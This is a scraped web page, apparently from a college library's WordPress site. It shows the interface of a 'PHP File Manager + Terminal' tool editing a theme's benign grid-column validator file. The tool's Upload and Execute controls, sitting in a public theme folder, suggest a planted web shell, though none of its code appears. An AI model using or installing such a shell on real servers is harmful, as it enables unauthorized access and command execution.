Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/library/wp-content/themes/coldbox/parts/czr Upload Create File Create Folder Execute Editing: /var/www/html/library/wp-content/themes/coldbox/parts/czr/customizer-validators.php<?php /** * File for storing validator functions for theme customizer. * * @since 1.6.2 * @package Coldbox */ /** * Validator function for grid columns. * * @param array $validity Validity. * @param int $value Number of columns to be validated. * @return array */ function cd_validator_grid_columns( $validity, $value ) { if ( $value < 1 ) { $validity->add( 'no_negative_num', esc_html__( 'The value must be greater than zero.', 'coldbox' ) ); } return $validity; } Save